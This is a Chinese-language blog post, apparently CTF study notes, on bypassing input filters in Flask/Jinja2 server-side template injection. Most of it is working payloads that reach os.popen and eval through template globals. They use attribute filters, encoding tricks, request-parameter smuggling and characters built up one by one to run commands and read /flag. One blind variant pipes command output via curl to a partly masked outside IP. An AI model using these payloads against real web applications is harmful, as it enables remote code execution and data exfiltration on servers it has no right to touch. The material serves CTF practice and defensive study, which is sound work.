Flask-SSTI-绕过

目录

flask-ssti-绕过

上节简述了ssti漏洞的形成以及ssti漏洞的利用方法,这次主要就是对当ssti出现并存在过滤的时候如何进行绕过进行描述。

绕过点

.在ssti利用链中充当着获取属性的作用,也就是说当过滤点的时候,我们无法直接获取对象的属性

  • jinja2中,可以使用中括号来获取属性

    ''.__class__.__mor__.__subclasses__()
    # 转换后:
    ''['__class__']['__mro__'][-1]['__subclasses__']()
    

    也是成功得到回显(就是不知道为什么没显示)

绕过中括号

中括号的在攻击链中是用来进行取键值的操作的,当然也可以担任上面绕过点的操作

  1. 操作属性

    上面我们知道,当.被过滤的时候,可以使用中括号[]来过滤,但是当中括号也被过滤的时候呢?

    使用|attr('')过滤

    ''.__class__.__mor__
    # 过滤点
    ''|attr('__class__')|attr('__mor__')
    
  2. 获取列表 ,键值:__getitem__方法

    .可以使用|attr的过滤器绕过

    attr是attribute的缩写

    操作列表:

    ''.__class__.__mor__.__subclasses__()
    # 过滤点(通过|attr过滤符过滤点)
    ''['__class__']['__mro__'][-1]['__subclasses__']()
    # 过滤中括号
    ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(-1)|attr('__subclasses__')()
    

    成功得到回显

    操作字典:

    主要是用在globals中来获取特点的函数,也可以用获取buildins

    # flask中
    {{url_for.__globals__['os'].popen('whoami').read()}}
    # 过滤点和中括号并获取globals所返回字典中的os对象
    {{url_for|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('whoami')|attr('read')()}}
    
    # jinja2中
    {{lipsum.__globals__['os'].popen('whoami').read()}}
    # 过滤处理
    {{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('whoami')|attr('read')()}}
    
    ![](https://picture.libestor.top/ssti-flask/20221001143113.png)
    
    成功得到回显
    
    还可以使用的方法有:get()方法setdefault()方法,它们可以获取键值以及不建议的pop()方法
    
    最后就是.也可以用来获取字典的值,很多库都有这也特性
    
    当.没有被过滤,但是中括号和一些关键函数被过滤的时候可以偷个懒,使用.
    
    ```python
    {{lipsum.__globals__.os.popen('whoami').read()}}
    

    同样得到回显

过滤关键词

过滤关键词是防护ssti最好的方式之一(更好的方式是直接杜绝用户拼接),所以也是我们学习的重点之一

拼接

拼接有三种方法:直接拼接,加号拼接,\~号拼接和join过滤器拼接

注意需要作用于字符串,不能直接对类或方法名称使用

直接拼接

''.__class__ = ''['__cla''ss__']

加号拼接

''.__class__ = ''['__cla' + 'ss__']

\~号拼接

''.__class__ = ''['__cla'~'ss__']
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

过滤器拼接:

('__clas','s__')|join

转置

''.__class__ = ''['__ssalc__'[::-1]]
#或者使用过滤器 "__ssalc__"|reverse

# 例子
{{lipsum.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('imaohw'[::-1]).read()}}

# 使用过滤器
"__ssalc__"|reverse
{{lipsum.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('imaohw'|reverse).read()}}

转置均得到结果

内置的str方法

''.__class__ = ""['__cTass__'.replace("T","l")] 
''['X19jbGFzc19f'.decode('base64')] # 有问题
''['__CLASS__'.lower()]
#字符串的替换,还可以使用过滤器 "__claee__"|replace("ee","ss") 

# 举例:
{{lipsum.__globals__.os.popen('dir'.lower()).read()}}

{{lipsum.__globals__.os.popen('who66i'.replace("66","am")).read()}}

{{lipsum.__globals__.os.popen('who66i'|replace("66","am")).read()}}

虽有结果,但是发现执行的时候不区分大小写,不过推测也不会有问题的

python字符串格式化绕过

 ''.__class__ = ''["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)]

 # 举例
 {{lipsum.__globals__.os.popen('whoami').read()}}

{{lipsum.__globals__.os.popen('{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}'.format(119,104,111,97,109,105)).read()}}

ASCII编码转换,ASCII码在线查询工具 (wxsnote.cn)

成功得到回显

利用十六进制

''.__class__ = ''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]
# 举例
{{lipsum.__globals__.os.popen('whoami').read()}}

{{lipsum.__globals__.os.popen('\x77\x68\x6F\x61\x6D\x69').read()}}

unicode编码绕过

CTF在线工具-ASCII编码转换|Unicode编码转换|Native编码转换|UTF-16|UTF-32 (hiencode.com)

# 举例
{{lipsum.__globals__.os.popen('whoami').read()}}

{{lipsum.__globals__.os.popen('\u0077\u0068\u006F\u0061\u006D\u0069').read()}} 

顺利得到结果

利用chr函数转换

{% set chr=url_for.__globals__['__builtins__'].chr %} #{%set chr = x.__init__.__globals__['__builtins__'].chr%}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

测试未通过

使用request

request大部分时候都是被过滤的状态,可以考虑最后使用

当我们无法写入数据的时候,就可以考虑从其他地方引入数据,request就是最经典的一个方法

首先先学习下request的基本方法

request              #request.__init__.__globals__['__builtins__']
request.args.x1      #get传参
request.values.x1    #所有参数
request.cookies      #cookies参数
request.headers      #请求头参数
request.form.x1      #post传参  (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data       #post传参  (Content-Type:a/b)
request.json     #post传json  (Content-Type: application/json)

简单引用一下例子

{{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
#然后首部设置Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

{{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}
#post或者get传参 class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__ (适用于过滤下划线)

现在通过这种方法来改造下前面的内容

{{lipsum.__globals__.os.popen('whoami').read()}}
# 上传内容?glo=__globals__&eval=os.popen('whoami').read()

{{lipsum[request["args"]["glo"]][request["args"]["glo"]]}}

{{x.__init__.__globals__[request['args']["x1"]].eval(request["args"]["x2"])}}
# x1=__builtins__&x2=__import__('os').popen('whoami').read()

过滤单双引号

最简单的方法就是使用request方法过滤

{{config.__class__.__init__.__globals__[request.args.os].popen(request.args.command).read()}}&os=os&command=cat /flag

使用chr过滤

{%set chr = x.__init__.__globals__.get(__builtins__).chr%}
{{x.__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}#__globals__['os']['popen']('ls').read()

本地测试request的时候,jinja2会报错:显示未找到request(代码的request是由flask提供的。

过滤了双花括号

通常由两个可以选择的,一个简单的就是{ %print() %},然后在print中写入代码即可打印出来

{%print(x|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookie.getitem)|attr(request.cookies.builtins)|attr(request.cookies.getitem)(request.cookies.eval)(request.cookies.command))%}
#cookie: init=__init__;globals=__globals__;getitem=__getitem__;builtins=__builtins__;eval=eval;command=__import__("os").popen("cat /flag").read()

对上面的payload进行改造

{{lipsum.__globals__.os.popen('whoami').read()}}

{% print(lipsum.__globals__.os.popen('whoami').read()) %}}

也是成功得到结果

如果连print也过滤了,就可以使用判断语句来执行指令,不过需要用vps来接受数据

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=ls /').read()=='p' %}1{% endif %} #python2 没测试过

这是一段DSACTF的payload

{%if("".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl 47.xxx.xxx.72:2333 -d \"`ls /`\"").read())%}success{%endif%}

{%if("".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl 47.xxx.xxx.72:2333 -d \"`cat /f1ag`\"").read())%}success{%endif%}
# 举例
{%if(lipsum.__globals__.os.popen("curl x.x.x.x:6666 -d \"`whoami`\"").read())%}success{%endif%}

在linux上可以实现,windows上不行

构造字符

如果过滤十分苛刻的话,就只能使用构造字符,这个方法很麻烦,但是也能有用一些功能,比如直接用函数完成payload

()|select|string

()|select|string返回的内容是:
<generator object select_or_reject at 0x~~>
# 例如:
(()|select|string)[24] # 就表示_

这里是使用print打印出来的结果


{{(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]}} = "__class__"

过滤中括号可以转换为list然后取值

使用pop或者__getitem__

例如:

dict(clas=a,s=b)|join

使用dict连接后会直接返回键连接后的字符串,上面的结果就是‘class’

注意pop,payload失败后需要重启环境

{% set po=dict(po=a,p=a)|join%} # 设置pop字符
{% set a=(()|select|string|list)|attr(po)(24)%} # 取出_下划线
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%} # 取出__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}#("_","_","init","_","_")|join()  实际上使用可以不用join后面的括号
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} #取出__getitem__
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} # 取出builtins,当然可以分开成多个部分组合起来
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
# 这个payload是用来获取/flag的,命令执行需要改一下

# 参照此条修改
{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")}}

# 修改一番
{% set po=dict(po=a,p=a)|join%} # 设置pop字符
{% set a=(()|select|string|list)|attr(po)(24)%} # 取出_下划线
# 如果有_  可用,就直接写{% set a="_"%}
{% set ini=(a,a,dict(ini=a,t=b)|join,a,a)|join()%} # 取出__init__
{% set glo=(a,a,dict(glo=a,bals=a)|join,a,a)|join()%} #("_","_","init","_","_")|join()  实际上使用可以不用join后面的括号
{% set geti=(a,a,dict(ge=a,titem=a)|join,a,a)|join()%} #取出__getitem__
{% set built=(a,a,dict(buil=a,tins=a)|join,a,a)|join()%} # 取出builtins,当然可以分开成多个部分组合起来
{% set ev=dict(e=a,v=a,a=a,l=l)|join()%}
{% set o=dict(o=a,s=a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd1=(a,a,dict(import=A)|join,a,a,)|join%} #也可以使用chr,不过会很长的 __import__
{% set cmd2=chr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%} # ('os')
{% set cmd3=chr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2b%}
{% set cmd=chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105) %}  # whoami
{% set cmd4=chr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41)%2b%}
# 或者
{% set cmda=(cmd1,cmd2,cmd3,cmd,cmd4)|join%}

{% set e=(q|attr(ini)|attr(glo)|attr(geti))(built)|attr(geti)(ev)(cmda)%} # os
# 或者
{% set e=(q|attr(ini)|attr(glo)|attr(geti))(built)|attr(geti)(ev)("__import__('os').popen('whoami').read()")%}
{%print(e)%}
# 当然也可以使用~拼接部分,比如
{% set e=(q|attr(ini)|attr(glo)|attr(geti))(built)|attr(geti)(ev)(cmda~")")%} # 也可以达到同样的效果

成功得到回显,所以只需要修改cmd的内容就可以使用

payload: 需要有set,join,attr,| chr,dict,, _(可以通过unicode得到),print(可选)字符才可以

如果无print的话,就需要修改cmd1到4的内容

{% set a="_"%}{% set ini=(a,a,dict(ini=a,t=b)|join,a,a)|join()%}{% set glo=(a,a,dict(glo=a,bals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(ge=a,titem=a)|join,a,a)|join()%}{% set built=(a,a,dict(buil=a,tins=a)|join,a,a)|join()%}{% set ev=(e,v,a,l)|join()%}{% set o=dict(o=i,s=i)|join()%}{% set ev=dict(e=a,v=a,a=a,l=l)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set cmd1=(a,a,dict(import=A)|join,a,a,)|join%}{% set cmd2=chr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%}{% set cmd3=chr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2b%}
{% set cmd=chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105) %}{% set cmd4=chr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2b%}{% set cmda=(cmd1,cmd2,cmd3,cmd,cmd4)|join%}{% set e=(q|attr(ini)|attr(glo)|attr(geti))(built)|attr(geti)(ev)(cmda~")")%}{%print(e)%}

上述payload通过unicode也可以得到同样的效果

dict(e=a)|join|count 绕过数字

dict(e=a)|join|count #1
dict(ee=a)|join|count #2

引用文章

SSTI进阶 | 沉铝汤的破站 (chenlvtang.top)

SSTI模板注入绕过(进阶篇)_yu22x的博客-CSDN博客_ssti绕过

Flask模板注入小结 | tyskillのBlog

浅析SSTI(python沙盒绕过) | flag0's Blog

CTF SSTI(服务器模板注入) - MustaphaMond - 博客园 (cnblogs.com)

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本站及文章作者不为此承担任何责任。

本站拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经本站允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇